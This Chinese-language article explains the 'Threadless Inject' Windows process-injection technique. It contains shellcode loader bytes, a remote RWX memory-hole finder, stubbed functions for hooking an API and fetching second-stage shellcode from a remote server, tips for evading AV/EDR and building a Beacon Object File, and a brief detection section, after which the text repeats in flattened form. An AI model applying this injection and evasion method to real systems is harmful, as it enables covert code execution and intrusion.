新型远程注入手法-Threadless inject(无线程注入)
字数 1101 2025-08-03 16:43:57

Threadless Inject(无线程注入)技术详解

基本原理及执行流程

Threadless Inject是一种新型的远程注入手法,最初在B-Sides Cymru 2023大会上发表。其核心原理是通过hook目标函数,将其跳转到DLL内存空隙中的第一段shellcode(具有二次重定向功能),然后再跳转到第二段shellcode执行。

执行流程

  1. 注入进程调用被hook的API函数,重定向到第一段shellcode
  2. 执行第一段shellcode,负责跳转到第二段shellcode
  3. 跳转到第二段shellcode并执行
  4. 返回第一段shellcode,跳转回原本API函数位置继续执行

技术优势

这种注入方式的主要绕过思路是通过不同于传统内存执行的方式,绕过了AV/EDR的检测机制:

  • 不创建新线程
  • 利用合法DLL的内存间隙
  • 通过API hook实现重定向

第一份基础代码实现

核心组件

  1. Shellcode Loader
unsigned char shellcode_loader[] = {
    0x58,                               // pop rax
    0x48, 0x83, 0xE8, 0x05,             // sub rax, 0x05
    0x50,                               // push rax
    // 保存寄存器状态
    0x51, 0x52, 0x41, 0x50, 0x41, 0x51, 0x41, 0x52, 0x41, 0x53,
    0x48, 0xB9,                         // mov rcx, <address>
    // 第二段shellcode地址占位符
    0x88, 0x77, 0x66, 0x55, 0x44, 0x33, 0x22, 0x11,
    0x48, 0x89, 0x08,                   // mov [rax], rcx
    0x48, 0x83, 0xEC, 0x40,             // sub rsp, 0x40
    0xE8, 0x11, 0x00, 0x00, 0x00,       // call <relative offset>
    0x48, 0x83, 0xC4, 0x40,             // add rsp, 0x40
    // 恢复寄存器状态
    0x41, 0x5B, 0x41, 0x5A, 0x41, 0x59, 0x41, 0x58, 0x5A, 0x59, 0x58,
    0xFF, 0xE0,                         // jmp rax
    0x90                                // nop
};
  1. 功能Shellcode(示例为计算器):
unsigned char shellcode[] = {
    // 计算器shellcode
    0x53, 0x56, 0x57, 0x55, 0x54, 0x58, 0x66, 0x83, 0xE4, 0xF0, 
    // ...省略其余字节...
    0x5F, 0x5E, 0x5B, 0xC3
};

关键函数

  1. 寻找内存间隙
int64_t FindMemoryHole(IN HANDLE hProcess, IN void** exportedFunctionAddress, IN int size) {
    UINT_PTR remoteAddress;
    BOOL foundMemory = FALSE;
    uint64_t exportAddress = (uint64_t)exportedFunctionAddress;
    
    // 在一定偏移量范围内寻找内存间隙
    for (remoteAddress = (exportAddress & 0xFFFFFFFFFFF70000) - 0x70000000;
        remoteAddress < exportAddress + 0x70000000;
        remoteAddress += 0x10000) {
        
        // 尝试申请RWX内存
        LPVOID lpAddr = VirtualAllocEx(hProcess, (LPVOID)remoteAddress, 
                                      size, MEM_COMMIT | MEM_RESERVE, 
                                      PAGE_EXECUTE_READWRITE);
        if (lpAddr != NULL) {
            foundMemory = TRUE;
            break;
        }
    }
    
    return foundMemory ? remoteAddress : 0;
}
  1. 生成Hook
void GenerateHook(int64_t originalInstruction) {
    // 修改shellcode_loader中的跳转地址
    *(uint64_t*)(shellcode_loader + 0x12) = originalInstruction;
}
  1. 主函数流程
int main(int argc, char** argv) {
    // 1. 参数处理
    // 2. 加载目标DLL
    // 3. 获取目标函数地址
    // 4. 打开目标进程
    // 5. 寻找内存间隙
    // 6. 修改跳转地址
    // 7. 修改内存保护为RWX
    // 8. 注入call指令
    // 9. 合并两段shellcode
    // 10. 写入目标进程
    // 11. 修改内存保护为RX
}

第二份高级实现

第二份实现与基础版思路相同,但有重要改进:

  1. 第二段shellcode放在远程服务器动态获取
  2. 内存间隙放在另一个DLL的文本段上(如chakra.dll)
  3. 注入后卸载DLL减少IOC

核心改进

  1. 远程获取shellcode
DATA GetData(wchar_t* whost, DWORD port, wchar_t* wresource) {
    // 使用WinHTTP从远程服务器获取shellcode
    // ...
}
  1. 从DLL文本段找RX空隙
LPVOID GetRXhole(HANDLE hProcess, wchar_t* wInjectedLoadedModuleName, size_t shellcodeLen) {
    // 1. 检查模块是否已加载
    // 2. 若未加载,则注入模块
    // 3. 获取模块.text节信息
    // 4. 生成随机偏移
    // 5. 返回RX空隙地址
}
  1. 注入与卸载
BOOL InjectThatMTF(HANDLE hProc, LPVOID RX_hole_addr, DATA shellcode, 
                  wchar_t* wModuleName, wchar_t* wAPIName) {
    // 注入逻辑
}

BOOL UnloadModule(HANDLE hProcess, wchar_t* wInjectedLoadedModule) {
    // 卸载模块逻辑
}

优化与绕过思路

  1. Shellcode混淆

    • 第一段shellcode功能简单易检测,可加入混淆指令
    • 使用编码/加密技术隐藏真实功能
  2. Hook方式改进

    • 替换简单的指令修改为更隐蔽的方法
    • 考虑使用硬件断点等高级hook技术
  3. 内存权限处理

    • 避免直接申请RWX内存(先RW后RX)
    • 使用合法的内存操作序列
  4. 调用链隐蔽

    • 使用冷门API函数构建调用链
    • 避免使用监控严格的API
  5. BOF实现

    • 可转换为BOF(Beacon Object File)形式
    • 保持核心思路不变

防御检测建议

  1. 检测点

    • 异常的API hook行为
    • 文本段内存修改
    • RWX内存区域
    • 异常的模块加载/卸载模式
  2. 防御措施

    • 加强API调用监控
    • 检测关键函数的内存属性变化
    • 监控模块加载行为
    • 实施代码完整性检查

参考资源

  1. ThreadlessInject-C GitHub
  2. D1rkInject GitHub
  3. B-Sides Cymru 2023演讲视频

通过这种无线程注入技术,攻击者可以实现高度隐蔽的代码执行,同时规避传统注入检测机制。防御方需要从内存行为、API调用模式等多维度构建检测策略。

Threadless Inject(无线程注入)技术详解 基本原理及执行流程 Threadless Inject是一种新型的远程注入手法,最初在B-Sides Cymru 2023大会上发表。其核心原理是通过hook目标函数,将其跳转到DLL内存空隙中的第一段shellcode(具有二次重定向功能),然后再跳转到第二段shellcode执行。 执行流程 : 注入进程调用被hook的API函数,重定向到第一段shellcode 执行第一段shellcode,负责跳转到第二段shellcode 跳转到第二段shellcode并执行 返回第一段shellcode,跳转回原本API函数位置继续执行 技术优势 这种注入方式的主要绕过思路是通过不同于传统内存执行的方式,绕过了AV/EDR的检测机制: 不创建新线程 利用合法DLL的内存间隙 通过API hook实现重定向 第一份基础代码实现 核心组件 Shellcode Loader : 功能Shellcode (示例为计算器): 关键函数 寻找内存间隙 : 生成Hook : 主函数流程 : 第二份高级实现 第二份实现与基础版思路相同,但有重要改进: 第二段shellcode放在远程服务器动态获取 内存间隙放在另一个DLL的文本段上(如chakra.dll) 注入后卸载DLL减少IOC 核心改进 远程获取shellcode : 从DLL文本段找RX空隙 : 注入与卸载 : 优化与绕过思路 Shellcode混淆 : 第一段shellcode功能简单易检测,可加入混淆指令 使用编码/加密技术隐藏真实功能 Hook方式改进 : 替换简单的指令修改为更隐蔽的方法 考虑使用硬件断点等高级hook技术 内存权限处理 : 避免直接申请RWX内存(先RW后RX) 使用合法的内存操作序列 调用链隐蔽 : 使用冷门API函数构建调用链 避免使用监控严格的API BOF实现 : 可转换为BOF(Beacon Object File)形式 保持核心思路不变 防御检测建议 检测点 : 异常的API hook行为 文本段内存修改 RWX内存区域 异常的模块加载/卸载模式 防御措施 : 加强API调用监控 检测关键函数的内存属性变化 监控模块加载行为 实施代码完整性检查 参考资源 ThreadlessInject-C GitHub D1rkInject GitHub B-Sides Cymru 2023演讲视频 通过这种无线程注入技术,攻击者可以实现高度隐蔽的代码执行,同时规避传统注入检测机制。防御方需要从内存行为、API调用模式等多维度构建检测策略。